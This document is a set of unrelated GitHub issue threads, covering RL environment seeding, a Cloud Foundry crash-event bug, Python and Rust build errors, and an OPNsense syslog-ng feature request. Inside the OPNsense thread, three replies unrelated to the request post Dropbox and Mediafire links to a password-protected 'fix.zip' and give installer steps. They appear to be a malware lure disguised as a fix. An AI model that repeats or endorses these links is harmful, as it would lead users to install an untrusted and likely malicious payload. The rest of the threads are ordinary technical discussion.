for me it's ok, waiting for @Undermaken

(closes #208 )


added crab and darwinia networks

Made all the changes needed to add Crab & Darwinia, listed here
Need clarity on pricing strategy here and then will merge to master and open a PR to revoke.cash main repo

wrt the comment here moving forward without defining pricing strategy.


SubprocVecEnv produces identical outputs for all sub-processes

I am running an A2C algorithm and using the SubprocVecEnv function to distribute the computing across multiple CPUs. As a part of my environment I have check points which output the agent's stats from the environment at the time step. For some reason the printed outputs are identical for all 48 of my sub-processes.
I produced my environment using:
self.train_env = SubprocVecEnv([self._make_env(i, arguments) for i in range(n_procs)], start_method='fork')

def _make_env(self, rank, arguments, seed=0):
        def _init():
            env = Env(arguments)
            env.seed(seed + rank + random.randint(0, 10**50))
            return env

        set_random_seed(seed)
        return _init

Things get bit hairy with references in this vecenv creation part. I think set_random_seed(seed) sets the global seed that is used to produce random.randint, which results in all envs getting same seed. On top of this, rank variable is same for all envs upon creation, because it is a reference to the i variable in the loop.
I have used this kind of thing which works. Hope it is of some help.

Please use make_vec_env (cf doc) and we also recommend you to switch to SB3.

This is helpful thank you. I still have the same issue but I can confirm the seeds are changing so I will need to dive deeper to find the issue in my environment. Just to confirm does make_vec_env distribute the environments over multiple CPUs or is it running the environments all on the same CPU? I am looking at my CPU utilization and it seems to be concentrated only only on a single core even when multiple environments are used.

SubProcVecEnv puts each environment on its own Python process, which can be parallelized across CPU cores (see parameters of the make_vec_env). Do note that this only parallelizes collecting samples, not actual training, so the gains may be small or even negative, with CPU cores not utilized.
If you have no more questions, feel free to close the issue.

Just to confirm does make_vec_env distribute the environments over multiple CPUs or is it running the environments all on the same CPU? I

SubProcVecEnv puts each environment on its own Python process, which can be parallelized across CPU cores (see parameters of the make_vec_env)

yes and by default, make_vec_env is using DummyVecEnv (usually faster but can be changed).

Thank you both this has been a tremendous help. I believe I have found where the problem occurs though I am still unsure why this would cause an issue. To initialize my model I use a get_model function (reproduced below) within my DRL agent class.
The issue seems to occur as a result of my adding custom policy kwargs. Any idea what might cause that? If I run the models with the default policy and everything else the same I then get differentiated results from each environment as expected.
I also noticed that if I pull the model initialization out of the get_model function then I get a printed message that my GPU is being used which I otherwise don't get. The issue with the non-differentiated results stays the same.
MODELS = {
    "a2c": A2C,
    "ddpg": DDPG,
    "td3": TD3,
    "sac": SAC,
    "ppo": PPO}

MODEL_KWARGS = {x: config.__dict__[f"{x.upper()}_PARAMS"] for x in MODELS.keys()}

NOISE = {
    "normal": NormalActionNoise,
    "ornstein_uhlenbeck": OrnsteinUhlenbeckActionNoise,
}

class DRLAgent:
    @staticmethod
    def get_model(model_name,
                  env,
                  policy="MlpPolicy",
                  policy_kwargs=dict(activation_fn=th.nn.ReLU,
                             net_arch=[dict(pi=[100, 50, 25], vf=[100, 50, 25])]),
                  model_kwargs=None,
                  verbose=0):

        if model_name not in MODELS:
            raise NotImplementedError("NotImplementedError")

        if model_kwargs is None:
            temp_model_kwargs = MODEL_KWARGS[model_name]
        else:
            temp_model_kwargs = model_kwargs.copy()

        if "action_noise" in temp_model_kwargs:
            n_actions = env.action_space.shape[-1]
            temp_model_kwargs["action_noise"] = NOISE[temp_model_kwargs["action_noise"]](
                mean=np.zeros(n_actions), sigma=0.1 * np.ones(n_actions)
            )

        model = MODELS[model_name](
            policy=policy,
            env=env,
            tensorboard_log=f"{config.TENSORBOARD_LOG_DIR}/{model_name}",
            verbose=verbose,
            policy_kwargs=policy_kwargs,
            **temp_model_kwargs,
        )
        return model

Actually it would seem to be my use of the relu activation function specifically. Will need to investigate this further.

The issue seems to occur as a result of my adding custom policy kwargs. Any idea what might cause that? If I run the models with the default policy and everything else the same I then get differentiated results from each environment as expected.

Please use the RL Zoo, it is made for training agents and includes best practices.
Closing this as the original issue was solved.


[New Game]: Snake and Ladder game

The age-old classic Indian Snake and ladder game made using HTML CSS and JS. Support of up to 4 players. Classic rules.Kindly assign this issue to me

The age-old classic Snake and ladder game made using HTML CSS and JS. Support of up to 4 players.Kindly assign this issue to me under GSSOC'23 i have made similar game to this so it should not be a issue for me.

Hi @whiteknight16 , could you please elaborate on the features of the game with full details, demo / mock UI sample/Video,? better share detailed documentation.

Will try to make the game with classic rules. Supporting up to 4 players. I am currently learning web sockets so will try to make it online multiplayer else it will be offline multiplayer. The game will proceed in a turn-by-turn manner all regular snake and ladder type.

@whiteknight16 This repo is based on React js so please ensure you work on react js


BBS doesn't report new "crash" events for LRPs crashed > 5 mins ago

Summary
If an LRP has already crashed once and then it crashed again more than 5 mins later, a crash event is not reported.
Steps to Reproduce

clone and push spring-music app
while true; do cf ssh spring-music -c "kill -9 \$(pidof java)" ; sleep 600; done
check cf events and see a sequence of

audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0

instead of
app.crash                  spring-music     index: 0, reason: CRASHED, cell_id: 4581257e-2
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
app.crash                  spring-music     index: 0, reason: CRASHED, cell_id: 27ee7e73-b
audit.app.ssh-authorized<EMAIL_ADDRESS> index: 0
app.crash                  spring-music     index: 0, reason: CRASHED, cell_id: 4581257e-2

Diego repo
Environment Details

diego-release version or other BOSH releases you have deployed - Diego v2.66.2

Possible Causes or Fixes (optional)
The reason seems to be, that after the initial crash, BBS records in the DB that the "crash_count" for this LRP is 1 (or more in case of frequent subsequent crashes. But single sporadic crashes would result in crash_count = 1.
Then on subsequent crashes this code in actual_lrp_db
		var newCrashCount int32
		if latestChangeTime > models.CrashResetTimeout && actualLRP.State == models.ActualLRPStateRunning {
			newCrashCount = 1
		} else {
			newCrashCount = actualLRP.CrashCount + 1
		}

Will actually set the newCrashCount = 1 and later in actual_lrp_event_calculator.go/generateUnclaimedInstanceEvents
	if after.CrashCount > before.CrashCount {
		events = append(events, models.NewActualLRPCrashedEvent(before, after))
	}

will not append the NewActualLRPCrashedEvent because both CrashCounts are equal.
Not quite sure how to properly fix it but this fix in actual_lrp_lifecycle_controller/CrashActualLRP
lrps[0].CrashCount = after.CrashCount - 1;

mediates the issue definitely
What it does is that since we are anyway in the CrashActualLRP, we just need to ensure that the Crash Event would be sent. So setting the CrashCount of the before lrp to after-1 seems to be enough to pass the check
Additional Text Output, Screenshots, contextual information (optional)

Sorry, this was not communicated earlier. We just fixed this in https://github.com/cloudfoundry/bbs/commit/b45652295e5d710a85620b842b998e9e613b40f6
Thank you for detailed bug report.


New API: Fetch specific department json files according to user settings

Currently we only support SILS PSE CJL FSE ASE CSE departments. The syllabus of these departments are bundled in one big json file course_list_all.json in https://wasetime.com/api/static/2018-2019/course_list_all.json
We want to support all departments in the future. We cannot bundle all departments into one json file this time since it will be too large and unnecessary. Therefore we need to:

[x] 1. Generate a specific json file for each department. This should be done by project waseda-syllabus-scraper.
[ ] 2. Cache the json files in nginx proxy to boost performance.
[ ] 3. Checkout cloudflare caching settings as well.
[ ] 4. Perform stress tests and benchmarking to see if this idea is actually realistic.
[ ] 5. In project wasetime-web, we want to fetch the json files according to the departments selected by the user. We plan to allow users to select up to 5 departments to avoid fetching too much data, which can decrease performance.

Solved by #80

Solved by #80


Ignore goland ide files

Problem
Need to ignore Goland IDE's files when committing code.
Solution
Add .idea to .gitignore.
Notes
Use semver to bump VERSION, and remember to run the following after
merging your PR:
make push-tag

sweet! <3

Can you resolve the version conflict?


An import error

hello, i got an import error:
When
import inplace_abn
It tells :
Traceback (most recent call last):
File "", line 1, in
File "/home/lib/python3.7/site-packages/inplace_abn/init.py", line 1, in
from .abn import ABN, InPlaceABN, InPlaceABNSync
File "/home/lib/python3.7/site-packages/inplace_abn/abn.py", line 8, in
from .functions import inplace_abn, inplace_abn_sync
File "/home/lib/python3.7/site-packages/inplace_abn/functions.py", line 8, in
from . import _backend
ImportError: /home/lib/python3.7/site-packages/inplace_abn/_backend.cpython-37m-x86_64-linux-gnu.so: undefined symbol: _ZN2at4cuda6detail20canUse32BitIndexMathERKNS_6TensorEl
This confuses me, what to do with it,Thanks

I also have same problem
My pyorch version is 1.7.0

I have a similar one:
File "D:\Anaconda\lib\site-packages\inplace_abn_init_.py", line 1, in
from .abn import ABN, InPlaceABN, InPlaceABNSync
File "D:\Anaconda\lib\site-packages\inplace_abn\abn.py", line 8, in
from .functions import inplace_abn, inplace_abn_sync
File "D:\Anaconda\lib\site-packages\inplace_abn\functions.py", line 8, in
from . import _backend
ImportError: DLL load failed: 找不到指定的程序。

I also have this problem
/site-packages/inplace_abn/_backend.cpython-38-x86_64-linux-gnu.so: undefined symbol: _ZN3c1015SmallVectorBaseIjE8grow_podEPvmm

hello, i got an import error: When import inplace_abn It tells : Traceback (most recent call last): File "", line 1, in File "/home/lib/python3.7/site-packages/inplace_abn/init.py", line 1, in from .abn import ABN, InPlaceABN, InPlaceABNSync File "/home/lib/python3.7/site-packages/inplace_abn/abn.py", line 8, in from .functions import inplace_abn, inplace_abn_sync File "/home/lib/python3.7/site-packages/inplace_abn/functions.py", line 8, in from . import _backend ImportError: /home/lib/python3.7/site-packages/inplace_abn/_backend.cpython-37m-x86_64-linux-gnu.so: undefined symbol: _ZN2at4cuda6detail20canUse32BitIndexMathERKNS_6TensorEl
This confuses me, what to do with it,Thanks

You can refer to Requirement Note 2, which says NOTE 2: we are only able to provide support for Linux platforms and CUDA versions >= 10.0, so it won't work in windows platform.

hello, i got an import error: When import inplace_abn It tells : Traceback (most recent call last): File "", line 1, in File "/home/lib/python3.7/site-packages/inplace_abn/init.py", line 1, in from .abn import ABN, InPlaceABN, InPlaceABNSync File "/home/lib/python3.7/site-packages/inplace_abn/abn.py", line 8, in from .functions import inplace_abn, inplace_abn_sync File "/home/lib/python3.7/site-packages/inplace_abn/functions.py", line 8, in from . import _backend ImportError: /home/lib/python3.7/site-packages/inplace_abn/_backend.cpython-37m-x86_64-linux-gnu.so: undefined symbol: _ZN2at4cuda6detail20canUse32BitIndexMathERKNS_6TensorEl
This confuses me, what to do with it,Thanks

You can refer to Requirement Note 2, which says NOTE 2: we are only able to provide support for Linux platforms and CUDA versions >= 10.0, so it won't work in windows platform.

Thats very interesting because when i run in windows, i dont have this error, but when i run in WSL this error poped up. And i m totally confuse now


NAT/IP forwarding on router

In the current status, router's interfaces can be pinged from each subnet it belongs to, however, no devices in subnets can ping through the router to external nets.
To enable this some NAT/IP forwarding tricks must be set, it would be nice if this is included in the automation.

new APIs support both NAT(interface masquerade or ip NAT), and ip forwarding, will wrap up in new release v0.2


Syslog-NG - Expand Capabilities of GUI logging configuration

Important notices

[x] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[x] I am convinced that my issue is new after having checked both open and closed issues at https://github.com/opnsense/core/issues?q=is%3Aissue

Is your feature request related to a problem? Please describe.
Currently, with community plugins like Adguard Home, non-standard log files cannot be ingested into syslog-ng (for remote logging) without creating the syslog-ng conf files manually through SSH. This is not a perfect solution as the logging configuration for a file source in syslog-ng would not be backed up by OPNsense.
Additionally, if one wanted to add a custom template for a different log format, using syslog-ng's template feature, it would also have to be done through SSH and have no backup.
Describe the solution you like
I'd like to see the GUI System->Settings->Logging configurations expanded to include more of syslog-ng's powerful features like file sources and templates.
Additional context
Obviously, there are a lot of different ways to configure syslog-ng. I am not asking for all of them to have an option in the GUI, just important ones like file sources.
I would encourage anyone that comes across this and also wants a useful syslog-ng feature in the GUI to comment with it.

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

plugins can add ship their own configurations when needed, I don't think there's much to add from core's perspective here. (some plugins use this already https://github.com/opnsense/plugins/blob/master/www/caddy/src/etc/syslog-ng.conf.d/caddy.conf).
Selections for remote selection can be hooked as well (https://docs.opnsense.org/development/backend/legacy.html#syslog)

Understood. I was hoping there would be apetite for expanding it from a first party perspective, but plugins are great for this.
Just out of curiosity, what is the threshold for when OPNsense core will add functionality itself?

when a facility is missing or incomplete or when it adds clear functionality which we also believe should be configurable via the gui.


Empty collective balance

Before archiving or deleting collectives, we are asking for an empty balance. It's however more difficult that it sounds to achieve that. Why?

restrictions in donation amount

minimum amount
only round values accepted

restrictions related to the host

can only donate to collectives with the same host

Proposal
Add a form/button in the "Advanced" selection of "Edit collective".
1st version
Link to the Donation Flow with.

Target Collective: the collective linked to the host
Contribute As: the collective you want to empty
Value: the exact remaining balance
Payment Method: the collective balance (preselected)

Later version
Ability to donate to a collective of choice.
Alternative
A functionality in the admin interface to do the same thing.

@znarf this is already done right?

@alannallama Yeah, this is done and active for a selection of hosts (open source, paris, brussels, europe and wwcode).


Data model

What is Done in this PR:
This PR is raised to create route and controllers for users and posts
Description of the task completed
create routes
create controllers

It is corrected now @rloterh

@t-yanick Thank you for your code review


Config packages cannot be imported

Problem
The eslint-config and prettier-config packages are not detected when importing into a project
Suspected Culprit
The packages are not set to import from which file inside the distributable directory.
Solution Approach
Add exports property to package.json, like below:
{
  "exports": {
    "require": "path/to/dist/file.js"
  }
}

Seemly it was really because I forget to add export property :(
Btw, those problems fixed in e48e0043cc214771ca4ced0f726ad7b286672f3f (for eslint-config) and 495d2f64a30f502be2582175974b5c92376060da (for prettier-config)


Remove exceptional M1 Mac toolchain handling (release7x)

Cherry pick of #23020 to release7x

@bot-gradle test and merge please

Pre-tested commit build failed.

@bot-gradle test and merge please

Your PR is queued. See the queue page for details.

OK, I've already triggered a build for you.


is this already usable?

I am having problems implementing this plugin:
PS C:\Users\alexa\kapla5> yarn tauri dev
yarn run v1.22.17
$ tauri dev
 app:spawn Running<EMAIL_ADDRESS>tauri dev" +0ms

warning: unused manifest key: dependencies.tauri-plugin-sql.commit
   Compiling sqlx-core v0.5.10
   Compiling app v0.1.0 (C:\Users\alexa\kapla5\src-tauri)
error[E0599]: no variant or associated item named `OutOfMemory` found for enum `ErrorKind` in the current scope
   --> C:\Users\alexa\.cargo\registry\src\github.com-1ecc6299db9ec823\sqlx-core-0.5.10\src\sqlite\connection\establish.rs:107:32
    |
107 |                 io::ErrorKind::OutOfMemory,
    |                                ^^^^^^^^^^^ variant or associated item not found in `ErrorKind`

error: aborting due to previous error

For more information about this error, try `rustc --explain E0599`.
error: could not compile `sqlx-core`

But I am getting the impression that it might not be ready yet (https://github.com/tauri-apps/tauri-plugin-sql/pull/7).
Should it work when following the instructions?

The plugin is experimental atm, it isn't published yet and it might present issues (seems like a new sqlx release broke it? i'll check that).

Seems like you have an outdated Rust. The io::ErrorKind::OutOfMemory variant was introduced in Rust 1.54. Try running rustup update.

@lucasfernog Thanks a lot, you are right